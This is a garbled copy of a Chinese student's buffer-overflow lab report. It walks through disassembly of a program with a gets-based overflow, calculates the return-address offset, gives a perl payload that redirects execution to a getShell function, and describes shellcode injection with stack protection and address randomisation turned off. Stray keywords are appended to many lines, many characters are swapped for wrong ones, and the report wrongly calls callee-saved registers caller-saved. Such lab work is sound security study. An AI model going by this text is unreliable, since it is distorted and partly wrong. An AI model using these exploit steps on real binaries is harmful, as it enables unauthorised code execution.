理清思路:linux
觀察反彙編代碼。我首先從新學習了一遍《深刻理解計算機系統》裏關於過程的棧幀變化。僅經過讀這個反彙編代碼,就能夠看清棧幀的內容,準確預測出須要注入代碼的位置。==而且預測結果和實際結果相符。==反彙編代碼以下,我經過讀代碼,回答老師挖空的兩個問題。shell
0804847d <getShell>: 804847d: 55 push %ebp 804847e: 89 e5 mov %esp,%ebp 8048480: 83 ec 18 sub $0x18,%esp 8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp) 804848a: e8 c1 fe ff ff call 8048350 <system@plt> 804848f: c9 leave 8048490: c3 ret == 該可執行文件正常運行是調用以下函數foo,這個函數有Buffer overflow漏洞 == 08048491 <foo>: 8048491: 55 push %ebp 8048492: 89 e5 mov %esp,%ebp 8048494: 83 ec 38 sub $0x38,%esp 8048497: 8d 45 e4 lea -0x1c(%ebp),%eax 804849a: 89 04 24 mov %eax,(%esp) == 這裏讀入字符串,但系統只預留了_28_字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址 == 804849d: e8 8e fe ff ff call 8048330 <gets@plt> 80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax 80484a5: 89 04 24 mov %eax,(%esp) 80484a8: e8 93 fe ff ff call 8048340 <puts@plt> 80484ad: c9 leave 80484ae: c3 ret 080484af <main>: 80484af: 55 push %ebp 80484b0: 89 e5 mov %esp,%ebp 80484b2: 83 e4 f0 and $0xfffffff0,%esp 80484b5: e8 d7 ff ff ff call 8048491 <foo> ==上面的call調用foo,同時在堆棧上壓上返回地址值:___80484ba_______== 80484ba: b8 00 00 00 00 mov $0x0,%eax
讀這個反彙編代碼時,須要複習棧幀結構圖:
安全
如圖,咱們的目標是P函數(main函數)的返回地址。網絡
寄存器組是惟一被全部過程共享的資源。咱們必須保證被調函數不會覆蓋調用函數稍後會使用的值。因此全部過程都必須遵循寄存器使用規則:1.%rbx,%rbp和%r12~%r15被分爲調用者保存寄存器,即被調者須要將這些寄存器的值壓入棧中,調用結束後再恢復出來。——《深刻理解計算機系統》函數
因此,咱們能夠理解爲何foo函數第一條指令是push %epb。將%epb壓棧,因此被保存寄存器這一段佔4字節。學習
ebp壓棧保護後,棧指針esp存入ebp,-0x1c(%ebp)在ebp爲基地址,偏移-0x1c即28個字節。這個空間就是buffer空間!ui
保存寄存器佔4字節,buffer佔28字節,一共32字節,在32字節後4字節即咱們要找的返回地址!操作系統
再用老師講的方法驗證個人預測是否正確:3d
發現55555555中的4字節溢出到返回地址了!指針
發現1234這4字節溢出到返回地址!和我以前的預測一致!
找到位置後,只要把1234的位置換成getshell函數的地址\x08\x04\x84\x7d便可。直接輸入是不行,先寫到一個文件Input裏,再將文件內容做爲輸入便可。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' > input //-e:perl調用print函數所需參數 xxd input //d:display,xx:十六進制,以十六進制查看 (cat input ; cat)| ./20155225pwn //將Input文件內容做爲輸入
過程以下圖所示:
首先須要搞清楚什麼是shellcode,shellcode是一段機器碼程序,其功能是獲得一個系統shell。
和前面的getshell功能一致,惟一的區別在於,getshell是可執行程序裏已有的,只是用戶不可見,而shellcode是hacker本身編寫的,能夠實現任何功能。
攻擊思路仍是利用緩衝區溢出,修改返回地址,只不過返回地址再也不是修改成getshell的地址,而是shellcode的地址。
這是原來的堆棧結構:
有下面兩種思路,第一種是老師挖的坑,跳了……
嘗試第二種思路,選擇將shellcode放在shellcode後面,返回地址以shellcode地址填充便可。
理清思路就能夠開始作了!
預備工做:
設置堆棧可執行、關閉地址隨機化,如圖所示。
只要找到01020304的位置在0xffffd38c,再加4字節就是shellcode的起始地址了!即0xffffd390。如圖:
在網上找到修改主機名的方法,能夠修改主機名相關的配置文件:/etc/hosts和/etc/sysconfig/network。可是我找不到/etc/sysconfig/network這個文件,暫時先只能每次開機用hostname命令修改了。
進入:輸出gdb <可執行文件名> ;退出:輸入quit,或者按下Ctrl+d
使用這個命令安裝,sudo apt-get install execstack。
經過此次實驗,我感受收穫良多。一、真實體驗了一把漏洞攻擊,仍是頗有成就乾的。從新複習了過程調用中的堆棧結構,對整個攻擊過程更清晰地理解了。
二、至於==什麼是漏洞==這個問題,個人理解是,漏洞是利用操做系統運行應用程序的機制,經過一些巧妙的方法,修改應用系統的運行流程,達到本身的目標。
三、==漏洞的危害==:漏洞的存在會致使系統安全性下降,一旦黑客利用漏洞,運行了shellcode,就至關於整機暴露給黑客了。
四、==掌握NOP、JNE、JE、JMP、CMP彙編指令的機器碼==
NOP:NOP指令即「空指令」。執行到NOP指令時,CPU什麼也不作,僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)
JNE:條件轉移指令,若是不相等則跳轉。(機器碼:75)
JE:條件轉移指令,若是相等則跳轉。(機器碼:74)
JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB)段內直接近轉移Jmp near(機器碼:E9)段內間接轉移Jmp word(機器碼:FF)段間直接(遠)轉移Jmp far(機器碼:EA)
CMP:比較指令,功能至關於減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。